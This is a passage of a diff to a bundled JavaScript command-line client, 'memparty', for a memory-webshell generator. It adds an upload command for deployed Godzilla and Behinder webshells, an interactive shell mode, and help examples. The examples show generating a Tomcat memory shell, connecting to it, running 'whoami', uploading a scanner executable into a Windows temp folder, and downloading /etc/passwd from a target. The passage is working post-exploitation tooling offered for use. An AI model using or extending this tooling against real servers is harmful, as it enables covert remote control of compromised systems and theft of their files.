|
+
durationMs: result.durationMs,
|
|
3851
|
+
detail: result.ok ? `${remotePath} -> ${localPath} (${result.bytes ?? 0} bytes)` : void 0,
|
|
3852
|
+
error: result.error,
|
|
3853
|
+
meta: { remotePath, localPath, bytes: result.bytes }
|
|
3854
|
+
});
|
|
3855
|
+
printResult(result, localPath, savedAs, opts.json);
|
|
3856
|
+
if (!result.ok) process.exitCode = 1;
|
|
3857
|
+
});
|
|
3858
|
+
}
|
|
3859
|
+
function registerUploadCommand(program) {
|
|
3860
|
+
program.command("upload").description("Upload a local file to a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
3861
|
+
new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
|
|
3862
|
+
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
|
|
3863
|
+
"--remote-charset <label>",
|
|
3864
|
+
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
3865
|
+
).option(
|
|
3866
|
+
"--header-name <name>",
|
|
3867
|
+
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
3868
|
+
).option(
|
|
3869
|
+
"--header-value <value>",
|
|
3870
|
+
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
3871
|
+
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful upload").addHelpText(
|
|
3872
|
+
"after",
|
|
3873
|
+
`
|
|
3874
|
+
Examples:
|
|
3875
|
+
$ memparty upload -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
3876
|
+
--header-value YdwTyuQr fscan.exe C:\\Windows\\Temp\\f.exe
|
|
3877
|
+
$ memparty upload web222 ./agent.jar /tmp/agent.jar --json
|
|
3878
|
+
|
|
3879
|
+
Upload overwrites the remote file (truncate + write). Integrity: godzilla
|
|
3880
|
+
verifies the remote size afterwards; behinder compares MD5. A failed upload
|
|
3881
|
+
chunk aborts the transfer \u2014 the remote file may be left partial.
|
|
3882
|
+
`
|
|
3883
|
+
).action(async (name, local, remote, opts, cmd) => {
|
|
3884
|
+
const globals = cmd.optsWithGlobals();
|
|
3885
|
+
const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
|
|
3886
|
+
let targetName = name;
|
|
3887
|
+
let localPath = local;
|
|
3888
|
+
let remotePath = remote;
|
|
3889
|
+
if (remotePath === void 0) {
|
|
3890
|
+
remotePath = local;
|
|
3891
|
+
localPath = name;
|
|
3892
|
+
targetName = void 0;
|
|
3893
|
+
}
|
|
3894
|
+
if (!localPath || !remotePath) {
|
|
3895
|
+
reportError("missing paths \u2014 usage: memparty upload [name] <local> <remote>", opts.json ? ["--json"] : []);
|
|
3896
|
+
process.exitCode = 1;
|
|
3897
|
+
return;
|
|
3898
|
+
}
|
|
3899
|
+
const resolved = resolveTransfer(targetName, opts, timeoutMs);
|
|
3900
|
+
if (!resolved) return;
|
|
3901
|
+
const { conn, common } = resolved;
|
|
3902
|
+
let data;
|
|
3903
|
+
try {
|
|
3904
|
+
data = readUploadFile(localPath);
|
|
3905
|
+
} catch (err) {
|
|
3906
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
3907
|
+
process.exitCode = 1;
|
|
3908
|
+
return;
|
|
3909
|
+
}
|
|
3910
|
+
let result;
|
|
3911
|
+
switch (conn.tool) {
|
|
3912
|
+
case "godzilla":
|
|
3913
|
+
result = await uploadGodzilla(
|
|
3914
|
+
conn.url,
|
|
3915
|
+
conn.pass ?? "pass",
|
|
3916
|
+
conn.key ?? "key",
|
|
3917
|
+
remotePath,
|
|
3918
|
+
data,
|
|
3919
|
+
{ ...common, remoteCharset: opts.remoteCharset }
|
|
3920
|
+
);
|
|
3921
|
+
break;
|
|
3922
|
+
case "behinder":
|
|
3923
|
+
result = await uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common);
|
|
3924
|
+
break;
|
|
3925
|
+
default:
|
|
3926
|
+
process.stderr.write(
|
|
3927
|
+
`Error: upload supports godzilla | behinder (got ${String(conn.tool)})
|
|
3928
|
+
`
|
|
3929
|
+
);
|
|
3930
|
+
process.exitCode = 1;
|
|
3931
|
+
return;
|
|
3932
|
+
}
|
|
3933
|
+
const savedAs = result.ok ? maybeAutoSave(conn, opts) : void 0;
|
|
3934
|
+
logOp({
|
|
3935
|
+
category: "upload",
|
|
3936
|
+
action: "upload",
|
|
3937
|
+
targetName: conn.targetName,
|
|
3938
|
+
url: conn.url,
|
|
3939
|
+
tool: conn.tool,
|
|
3940
|
+
ok: result.ok,
|
|
3941
|
+
durationMs: result.durationMs,
|
|
3942
|
+
detail: result.ok ? `${localPath} -> ${remotePath} (${result.bytes ?? 0} bytes)` : void 0,
|
|
3943
|
+
error: result.error,
|
|
3944
|
+
meta: { localPath, remotePath, bytes: result.bytes }
|
|
3945
|
+
});
|
|
3946
|
+
printResult(result, localPath, savedAs, opts.json);
|
|
3947
|
+
if (!result.ok) process.exitCode = 1;
|
|
3948
|
+
});
|
|
3949
|
+
}
|
|
3950
|
+
|
|
2894
3951
|
// src/commands/version.ts
|
|
2895
3952
|
function registerVersionCommand(program) {
|
|
2896
3953
|
program.command("version").description("Show CLI version and the backend server version").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
@@ -2920,18 +3977,138 @@ function registerVersionCommand(program) {
|
|
|
2920
3977
|
});
|
|
2921
3978
|
}
|
|
2922
3979
|
|
|
3980
|
+
// src/repl.ts
|
|
3981
|
+
import * as readline from "readline";
|
|
3982
|
+
import { CommanderError } from "commander";
|
|
3983
|
+
function tokenize(line) {
|
|
3984
|
+
const tokens = [];
|
|
3985
|
+
let cur = "";
|
|
3986
|
+
let quote = null;
|
|
3987
|
+
let started = false;
|
|
3988
|
+
for (const ch of line) {
|
|
3989
|
+
if (quote !== null) {
|
|
3990
|
+
if (ch === quote) quote = null;
|
|
3991
|
+
else cur += ch;
|
|
3992
|
+
} else if (ch === '"' || ch === "'") {
|
|
3993
|
+
quote = ch;
|
|
3994
|
+
started = true;
|
|
3995
|
+
} else if (/\s/.test(ch)) {
|
|
3996
|
+
if (started || cur.length > 0) {
|
|
3997
|
+
tokens.push(cur);
|
|
3998
|
+
cur = "";
|
|
3999
|
+
started = false;
|
|
4000
|
+
}
|
|
4001
|
+
} else {
|
|
4002
|
+
cur += ch;
|
|
4003
|
+
}
|
|
4004
|
+
}
|
|
4005
|
+
if (started || cur.length > 0) tokens.push(cur);
|
|
4006
|
+
return tokens;
|
|
4007
|
+
}
|
|
4008
|
+
async function startRepl(build) {
|
|
4009
|
+
process.stdout.write(
|
|
4010
|
+
`memparty ${CLI_VERSION} \u2014 interactive mode. Type 'help' for commands, 'exit' to quit.
|
|
4011
|
+
`
|
|
4012
|
+
);
|
|
4013
|
+
const rl = readline.createInterface({
|
|
4014
|
+
input: process.stdin,
|
|
4015
|
+
output: process.stdout,
|
|
4016
|
+
terminal: process.stdin.isTTY === true,
|
|
4017
|
+
historySize: 200
|
|
4018
|
+
});
|
|
4019
|
+
const pending = [];
|
|
4020
|
+
let waiter = null;
|
|
4021
|
+
let closed = false;
|
|
4022
|
+
rl.on("line", (line) => {
|
|
4023
|
+
if (waiter) {
|
|
4024
|
+
const w = waiter;
|
|
4025
|
+
waiter = null;
|
|
4026
|
+
w(line);
|
|
4027
|
+
} else {
|
|
4028
|
+
pending.push(line);
|
|
4029
|
+
}
|
|
4030
|
+
});
|
|
4031
|
+
rl.on("close", () => {
|
|
4032
|
+
closed = true;
|
|
4033
|
+
waiter?.(null);
|
|
4034
|
+
});
|
|
4035
|
+
const isTty = process.stdin.isTTY === true;
|
|
4036
|
+
rl.setPrompt("memparty> ");
|
|
4037
|
+
const ask = () => {
|
|
4038
|
+
if (isTty) rl.prompt();
|
|
4039
|
+
const buffered = pending.shift();
|
|
4040
|
+
if (buffered !== void 0) return Promise.resolve(buffered);
|
|
4041
|
+
if (closed) return Promise.resolve(null);
|
|
4042
|
+
return new Promise((resolve2) => {
|
|
4043
|
+
waiter = resolve2;
|
|
4044
|
+
});
|
|
4045
|
+
};
|
|
4046
|
+
for (; ; ) {
|
|
4047
|
+
const line = await ask();
|
|
4048
|
+
if (line === null) break;
|
|
4049
|
+
const tokens = tokenize(line);
|
|
4050
|
+
if (tokens.length === 0) continue;
|
|
4051
|
+
const [cmd, ...rest] = tokens;
|
|
4052
|
+
if (cmd === "exit" || cmd === "quit") break;
|
|
4053
|
+
if (cmd === "clear") {
|
|
4054
|
+
process.stdout.write("\x1B[2J\x1B[0f");
|
|
4055
|
+
continue;
|
|
4056
|
+
}
|
|
4057
|
+
if (cmd === "help") {
|
|
4058
|
+
if (rest.length === 0) {
|
|
4059
|
+
build().outputHelp();
|
|
4060
|
+
continue;
|
|
4061
|
+
}
|
|
4062
|
+
tokens.push("--help");
|
|
4063
|
+
}
|
|
4064
|
+
rl.pause();
|
|
4065
|
+
try {
|
|
4066
|
+
await build().parseAsync(["node", "memparty", ...tokens]);
|
|
4067
|
+
} catch (err) {
|
|
4068
|
+
if (err instanceof CommanderError) {
|
|
4069
|
+
} else if (err instanceof ApiError) {
|
|
4070
|
+
reportError(`API error (${err.status || "network"}): ${err.message}`, tokens);
|
|
4071
|
+
} else if (err instanceof Error) {
|
|
4072
|
+
if (err.name === "ExitPromptError") process.stderr.write("\nAborted.\n");
|
|
4073
|
+
else reportError(err.message, tokens);
|
|
4074
|
+
} else {
|
|
4075
|
+
reportError(String(err), tokens);
|
|
4076
|
+
}
|
|
4077
|
+
}
|
|
4078
|
+
process.exitCode = 0;
|
|
4079
|
+
rl.resume();
|
|
4080
|
+
}
|
|
4081
|
+
rl.close();
|
|
4082
|
+
}
|
|
4083
|
+
|
|
2923
4084
|
// src/cli.ts
|
|
2924
4085
|
function buildProgram() {
|
|
2925
|
-
const program = new
|
|
4086
|
+
const program = new Command9();
|
|
2926
4087
|
program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
|
|
2927
4088
|
"--api <url>",
|
|
2928
4089
|
`MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
|
|
2929
|
-
).option("--timeout <ms>", "request timeout in milliseconds", "30000")
|
|
4090
|
+
).option("--timeout <ms>", "request timeout in milliseconds", "30000").exitOverride().addHelpText(
|
|
4091
|
+
"after",
|
|
4092
|
+
`
|
|
4093
|
+
Quick start:
|
|
4094
|
+
$ memparty gen # interactive memory-shell wizard
|
|
4095
|
+
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
|
|
4096
|
+
$ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value qSGAJScj
|
|
4097
|
+
$ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect
|
|
4098
|
+
$ memparty download 192.0.2.1/godzilla /etc/passwd -o passwd
|
|
4099
|
+
$ memparty list # saved targets
|
|
4100
|
+
$ memparty log # recent operations
|
|
4101
|
+
|
|
4102
|
+
Every subcommand has its own examples: memparty <command> --help
|
|
4103
|
+
`
|
|
4104
|
+
);
|
|
2930
4105
|
registerGenCommand(program);
|
|
2931
4106
|
registerProbeCommand(program);
|
|
2932
4107
|
registerConfigCommand(program);
|
|
2933
4108
|
registerConnectCommand(program);
|
|
2934
4109
|
registerExecCommand(program);
|
|
4110
|
+
registerDownloadCommand(program);
|
|
4111
|
+
registerUploadCommand(program);
|
|
2935
4112
|
registerTargetCommand(program);
|
|
2936
4113
|
registerLogCommand(program);
|
|
2937
4114
|
registerParseClassNameCommand(program);
|
|
@@ -2940,26 +4117,29 @@ function buildProgram() {
|
|
|
2940
4117
|
return program;
|
|
2941
4118
|
}
|
|
2942
4119
|
async function main() {
|
|
4120
|
+
if (process.argv.length <= 2 && (process.stdin.isTTY || process.env.MEMPARTY_REPL)) {
|
|
4121
|
+
await startRepl(buildProgram);
|
|
4122
|
+
return;
|
|
4123
|
+
}
|
|
2943
4124
|
const program = buildProgram();
|
|
2944
4125
|
try {
|
|
2945
4126
|
await program.parseAsync(process.argv);
|
|
2946
4127
|
} catch (err) {
|
|
2947
|
-
if (err instanceof
|
|
2948
|
-
process.
|
|
2949
|
-
|
|
4128
|
+
if (err instanceof CommanderError2) {
|
|
4129
|
+
process.exitCode = err.exitCode;
|
|
4130
|
+
} else if (err instanceof ApiError) {
|
|
4131
|
+
reportError(`API error (${err.status || "network"}): ${err.message}`, process.argv);
|
|
2950
4132
|
process.exitCode = 1;
|
|
2951
4133
|
} else if (err instanceof Error) {
|
|
2952
4134
|
if (err.name === "ExitPromptError") {
|
|
2953
4135
|
process.stderr.write("\nAborted.\n");
|
|
2954
4136
|
process.exitCode = 130;
|
|
2955
4137
|
} else {
|
|
2956
|
-
|
|
2957
|
-
`);
|
|
4138
|
+
reportError(err.message, process.argv);
|
|
2958
4139
|
process.exitCode = 1;
|
|
2959
4140
|
}
|
|
2960
4141
|
} else {
|
|
2961
|
-
|
|
2962
|
-
`);
|
|
4142
|
+
reportError(String(err), process.argv);
|
|
2963
4143
|
process.exitCode = 1;
|
|
2964
4144
|
}
|
|
2965
4145
|
}
|